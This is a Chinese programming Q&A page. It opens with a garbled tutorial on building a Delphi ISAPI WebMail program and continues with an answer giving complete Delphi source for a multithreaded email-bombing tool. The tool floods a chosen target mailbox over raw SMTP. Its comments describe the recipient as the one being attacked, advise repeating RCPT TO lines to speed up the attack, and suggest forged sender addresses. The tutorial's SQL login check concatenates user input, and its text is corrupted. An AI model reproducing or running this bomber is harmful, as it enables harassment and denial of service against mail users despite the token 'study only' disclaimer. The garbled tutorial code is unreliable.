如何用Delphi开发简单的WebMail程序

如何用Delphi开发简单的WebMail程序,第1张

WebMail是指在网页中实现邮件的发送 使用Delphi开发Web Server程序是非常简单的 Delphi中提供了大量的元件和对象 下面通过一个例子来介绍如何利用Delphi开发一个响应用户输入的ISAPI的WebMail程序 为了简单 程序没有对传送的数据提供保密

首先 在Web服务器端安装数据库引擎dbe 并设置好数据库别名 yh 指向一个包含用户名和用户密码的数据库文件user db 接着建立两个HTML文件 名字分别为 dl qd 放在Web服务器的缺省目录兆键下(如 c \inetpub\root)

dl 的内容如下

<><head><title>发送邮件系统</title></head><body><h >发送邮件系统</h ><p>请输入您的用户名及旦猜羡密码</p><form method= post action= /scripts/SendMail ><p>用户名<input type= text length= name= username >密码 <input type= password length= name= password ></p><p><input type= submit value= 确定 ><input type= reset value= 清除 ></p></form></body></> qd 文件内容如下模拍

<><head><title>填表</title></head><body><form method= post action= feedback ><p>请填入接收邮件地址:toaddress:<input type= text length= name= toaddress ></p><p>请填入主题<input type= text length= name= subject ></p><p>内容 </p><p><input type= textarea length= width= name= body ></p><p><input type= submit value= 确定 ><input type= reset value= 清除 ></p></form ></body ></ > 在Delphi中新建一个基于ISAPI的Web Server Application 手动增加nm *** tp query pageproducer 其中 pageproducer 的file属性为c:\inetpub\ root\qd nm *** tp 的host(发送邮件服务器的地址)在这里为 *** tp netease port: 全局变量为 sername:stringflag:boolean

增加一个路径为feedback的动作项 其代码如下

 Var Count:integerS:string BeginQuery closeQuery sql clearS:= select count(username) from user dbswheresusername= S:=s+request contentfields values[ username ]+ S:=s+ and password= S:=s+request contentfields values[ psword ]+ Query sql add(S)Query openIf query count= then response content:= <><head><title></title><body>用户名 密码不正确 请重新输入</body></>Else Username:=request contentfields values[ username ]Response content:=pageproducer contentEnd 再增加一个路径为Sendmail的动作项 它的程序代码如下

Var body:stringBeginFlag:=truebody:=request contentfields values[ body ]Pageproducer doc clearPageproducer doc add( <><body >)Nm *** tp postmessage clearNm *** tp postmessage fromaddress:=username+ @netease Nm *** tp postmessage from:=usernameNm *** tp postmessage body add(body)Nm *** tp postmessage toaddress add(request contentfields values[ toaddress ])Nm *** tp postmessage subject:=request contentfields values[ subject ] Nm *** tp connectIf flag=true then beginNm *** tp sendmailnm *** tp disconntentendpageproducer doc add( </body></>)response content:=pageproducer contentend 增加nm *** tp 的OnConnect事件添加如下代码

lishixinzhi/Article/program/Delphi/201311/24974

你这个问题有点不好说,你用indy插件比较好用

下面是不用控件实现的方法:

uses

 windows,messages,winsock,sysutils

{$R *.RES}

const

 CRLF=#13#10

 exename:pchar='邮箱信使'

var

 thd:array[1..1000] of integer

 tid:array[1..1000] of dword

 faint,hMutex,mcount,speed,newtime,oldtime,num,count,err:integer

 s1:string

 sbuf:array[0..1024] of char

 dest:string

 attstart:boolean

//----------------------

 wClass:  TWndClass  //窗口类变量

 Msg: TMSG 春帆坦 //消息变量

 hInst, //程序实例

 Handle,//主窗口句柄

 hFont, //字体句柄

//----------------

 hButtonStart,  //开始按钮

 hButtonStop,//停止按钮

 hButtonHelp,//帮助按钮

 hButtonExit,//退出按钮

 hEditEmail, //e-mail编辑

 hEditCount, //次数编辑

 hEditThread,//线程数编辑

 hLabelEmail,//轿核e-mail提示

 hLabelCount,//次数提示

 hLabelThread,  //线程数提示

 hLabelInfo //领息提示

 :integer //句柄类型

//--------------------

//往一扒桐个窗口写标题

procedure WriteCaption(hwnd:hwndtext:pchar)begin sendmessage(hwnd,WM_SETTEXT,0,integer(text))end

//从一个窗口读标题

procedure ReadCaption(hwnd:hwndtext:pchar)begin sendmessage(hwnd,WM_GETTEXT,400,integer(text))end

//以下是网络连接的过程

function StartNet(host:stringport:integer):integer

var

 wsadata:twsadata

 fsocket:integer

 SockAddrIn:TSockAddrIn

 err:integer

begin

 //为网络连接作好准备(用winsock1.1以上版本)

 err:=WSAStartup($0101,WSAData)

 //创建一个客户端套接字(Client Socket,用SOCK_STREAM,即TCP协义)

 FSocket := socket(PF_INET, SOCK_STREAM,IPPROTO_IP)

 //初始化网络数据

 SockAddrIn.sin_addr.s_addr:=inet_addr(PChar(host))

 SockAddrIn.sin_family := PF_INET

 SockAddrIn.sin_port :=htons(port)

 //客户端向smtp进行连接

 repeat

 err:=connect(FSocket,SockAddrIn, SizeOf(SockAddrIn))

 until err=0

 //

 Result:=FSocket

end

//以下是网络关闭的过程

procedure StopNet(Fsocket:integer)

var

 err:integer

begin

 //发信结束,关闭客户端套接字(Close Client Socket)

 err:=closesocket(FSocket)

 //清除网络参数

 err:=WSACleanup

end

//下面是个发送数据包的过程

function SendData(FSocket:integerSendStr:string):integer

const

 MaxSize=1024

var

 DataBuf:array[0..MaxSize] of char

 err:integer

begin

 //读取网络数据

 err:=recv(FSocket,DataBuf,MaxSize,0)

 //将网络数据写入主窗口的标题中,提示用户正在发信过程中

 //WriteCaption(handle,DataBuf)

 //向网络发送数据

 strcopy(DataBuf,pchar(SendStr))

 err:=send(FSocket,DataBuf,strlen(DataBuf),MSG_DONTROUTE)

 Result:=0

end

//下面是个发信的过程

procedure SendMail

var SendBody:string

 FSocket:integer

begin

 repeat

//指定smtp主机地址,这里用的是smtp.21cn.com,它的ip为(202.104.32.230)

//指定smtp主机的发信端口,默认为25

FSocket:=StartNet('202.104.32.230',25)

//-------下面是发信过程的各步处理-------

//---------------------------------------

//第一步:发HELO指令,表示我要开始发信了

SendData(FSocket,'HELO'+CRLF)

//第二步:发MAIL FROM指令,表示发信人的信箱

//  注意现在很多SMTP主机有只能允许本地合法用户发信

//  所以发信者的信箱在发信主机中应是一个合法用户

//  否则无法发信,比如hack001便是smtp.21cn.com中的一个合法用户

SendData(FSocket,'MAIL FROM: <'+CRLF">hack001@21cn.com>'+CRLF)

//第三步:发RCPT TO指令,表示目标用户的邮箱,就是你要攻击者的邮箱

//  这一步可以用多个RCPT TO命令指向同一个目标,可以极大的加快攻击速度

//  但对163.net好象不行,他加了过滤机制

SendData(FSocket,'RCPT TO: <'+dest+'>'+CRLF)

//第四步:发DATA指令,表示要向SMTP主机发数据

SendData(FSocket,'DATA'+CRLF)

//第五步:发具体数据,包括如下内容(信封和信体):

// From:表示发信者的地址,可以是假的用户(可以随机产生),后面以CRLF(即回车换行符)结束

// TO:表示收信者的地址,可以是假的用户(可以随机产生),后面以CRLF结束

// Subject:表示邮件主题,后面以CRLF结束

// 后面一定要再加一个CRLF,表示信封部分结束了

// 接下来是信的主体内容,可以是任何内容,后面以CRLF结束

// 然后一定要再加一个.符号,表示信体结束,后面以CRLF结束

SendBody:='From:"bome 2001"<'+CRLF">bome@hacker.com>'+CRLF

+'To:"bome 2001"<'+CRLF">bome@hacker.com>'+CRLF

+'Subject:New Bome 2001.'+CRLF

+CRLF

+'Hello World.'+CRLF

+'.'+CRLF

SendData(FSocket,SendBody)

//第六步:发结QUIT指令,表示发信过程结束

SendData(FSocket,'QUIT'+CRLF)

//

waitforsingleobject(hMutex,INFINITE)

//显示发信过程的剩余邮件数目

WriteCaption(hLabelInfo,pchar('送出 '+inttostr(mcount)+' 封邮件 / '+'还有 '+inttostr(count)+' 封邮件 '+CRLF+

'正在使用: '+inttostr(num)+' 个攻击线程'+CRLF+

'经过时间: '+inttostr(newtime div 1000)+' 秒'))

//总次数减一

Dec(count)

//调用发信过程,进行发信

newtime:=integer(gettickcount())-oldtime

speed:=mcount*1000*60 div newtime

WriteCaption(handle,pchar('攻击速度: '+inttostr(speed)+' 封/分钟'))

inc(mcount)

//sleep(300)

if count<=0 then break

releasemutex(hMutex)

//

StopNet(Fsocket)

 until count<=0

end

//------------------------------------

//以下是线程创建时调用的线程函数

function fun(Parameter: Pointer): Integerstdcall

begin

SendMail

WriteCaption(handle,exename)

WriteCaption(hLabelInfo,pchar('发送结束'))

attstart:=true

result:=0

end

procedure ButtonStart

var k:integer

begin

 if attstart=true then

 begin

attstart:=false

WriteCaption(hLabelInfo,pchar('发送开始........'))

ReadCaption(hEditEmail,sbuf)dest:=strpas(sbuf)

ReadCaption(hEditCount,sbuf)count:=strtoint(strpas(sbuf))

ReadCaption(hEditThread,sbuf)Num:=strtoint(strpas(sbuf))

oldtime:=gettickcount()

mcount:=0

if Num>1000 then Num:=1000

for k:=1 to Num do

thd[k]:=createthread(nil,0,@fun,nil,0,tid[k])

 end

end

procedure ButtonStop

var k:integer

begin

 for k:=1 to Num do

 TerminateThread(thd[k],0)

 WriteCaption(handle,exename)

 WriteCaption(hLabelInfo,pchar('发送结束'))

 attstart:=true

 count:=0

end

procedure MainCreate

begin

 attstart:=true

 hMutex:=createmutex(nil,true,'Bome2001')

 releasemutex(hMutex)

end

procedure ButtonHelp

begin

 s1:='本软件只用学习用,不可害人'+CRLF+

 '程序使用多线程100个线程,发送速度极快!'+CRLF;

 

 messagebox(handle,pchar(s1),'帮助',0)

end

//主程序结束

procedure ShutDown

begin

 CloseHandle(hMutex)

 //删除字体对象

 DeleteObject(hFont)

 //取消窗口类的注册

 UnRegisterClass(wClass.lpszClassName,hInst)

 //结束主进程

 ExitProcess(hInst)

end

//这是主窗口的消息处理函数

function WindowProc(hWnd,Msg,wParam,lParam:integer):Longintstdcall

begin

 Result:=DefWindowProc(hWnd,Msg,wParam,lParam)

 case Msg of

 WM_COMMAND:

if lParam=hButtonStart then ButtonStart

else if lParam=hButtonStop then ButtonStop

else if lParam=hButtonHelp then ButtonHelp

else if lParam=hButtonExit then ShutDown

 WM_CREATE:MainCreate

 WM_DESTROY: ShutDown

 end

end

//定义几个窗口创建函数

function

CreateButton(name:pcharx1,y1,x2,y2:integer):hwndbegin 

Result:=CreateWindow('Button',name,WS_VISIBLE or WS_CHILD or BS_PUSHLIKE

or BS_TEXT,x1,y1,x2,y2,Handle,0,hInst,nil)end

function

CreateEdit(name:pcharx1,y1,x2,y2:integer):hwndbegin 

Result:=CreateWindowEx(WS_EX_CLIENTEDGE,'Edit',name,WS_VISIBLE or

WS_CHILD or ES_LEFT or

ES_AUTOHSCROLL,x1,y1,x2,y2,Handle,0,hInst,nil)end

function

CreateLabel(name:pcharx1,y1,x2,y2:integer):hwndbegin 

Result:=CreateWindow('Static',name,WS_VISIBLE or WS_CHILD or

SS_LEFT,x1,y1,x2,y2,Handle,0,hInst,nil)end

function CreateMain(name:pcharx1,y1,x2,y2:integer):hwnd

begin

 //取得应用程序实例句柄

 hInst:=GetModuleHandle(nil)

 //初使化窗口类的信息

 with wClass do

 begin

Style:= CS_PARENTDC

hIcon:= LoadIcon(hInst,'MAINICON')

lpfnWndProc:=  @WindowProc

hInstance:= hInst

hbrBackground:= COLOR_BTNFACE+1

lpszClassName:= 'MainClass'

hCursor:=  LoadCursor(0,IDC_ARROW)

 end

 // 注册窗口类

 RegisterClass(wClass)

 // 建立主窗口

 Result:=CreateWindow(wClass.lpszClassName,name,WS_OVERLAPPEDWINDOW or WS_VISIBLE,x1,y1,x2,y2,0,0,hInst,nil)

end

//---------主过程,类似于 C语言 中的 WinMain()

begin

 //建立主窗口

 handle:=CreateMain(exename,10,10,320,135)

 //建立四个控制按钮

 hButtonStart:=CreateButton('发送攻击',240,4+26*0,70,24)

 hButtonStop:=CreateButton('停止发送' ,240,4+26*1,70,24)

 hButtonHelp:=CreateButton('帮 助' ,240,4+26*2,70,24)

 hButtonExit:=CreateButton('退 出' ,240,4+26*3,70,24)

 //建立两个编辑框

 hEditEmail:=CreateEdit(bome@hacker.com',60,4,174,20">'bome@hacker.com',60,4,174,20)

 hEditCount:=CreateEdit('1000',60,4+26*1,60,20)

 hEditThread:=CreateEdit('10',193,4+26*1,41,20)

 //建立三个标签

 hLabelEmail:=CreateLabel('发送目标:',4,8,54,24)

 hLabelCount:=CreateLabel('发送次数:',4,8+26*1,54,24)

 hLabelThread:=CreateLabel('线程数:',124,8+26*1,66,24)

 hLabelInfo:=CreateLabel('等候命令.....',4,8+26*2,220,44)

 //创建字体对象

 hFont:=CreateFont(-12,0,0,0,0,0,0,0,GB2312_CHARSET,OUT_DEFAULT_PRECIS,CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,DEFAULT_PITCH

or FF_DONTCARE,'宋体')

 //改变字体

 SendMessage(hButtonStart,WM_SETFONT,hFont,0)

 SendMessage(hButtonStop,WM_SETFONT,hFont,0)

 SendMessage(hButtonHelp,WM_SETFONT,hFont,0)

 SendMessage(hButtonExit,WM_SETFONT,hFont,0)

 SendMessage(hEditEmail,WM_SETFONT,hFont,0)

 SendMessage(hEditCount,WM_SETFONT,hFont,0)

 SendMessage(hEditThread,WM_SETFONT,hFont,0)

 SendMessage(hLabelEmail,WM_SETFONT,hFont,0)

 SendMessage(hLabelCount,WM_SETFONT,hFont,0)

 SendMessage(hLabelThread,WM_SETFONT,hFont,0)

 SendMessage(hLabelInfo,WM_SETFONT,hFont,0)

 //进入消息循环

 while(GetMessage(Msg,Handle,0,0))do

 begin

TranslateMessage(Msg)

DispatchMessage(Msg)

 end

end.


欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/yw/12312830.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2023-05-24
下一篇 2023-05-24

发表评论

登录后才能评论

评论列表(0条)

保存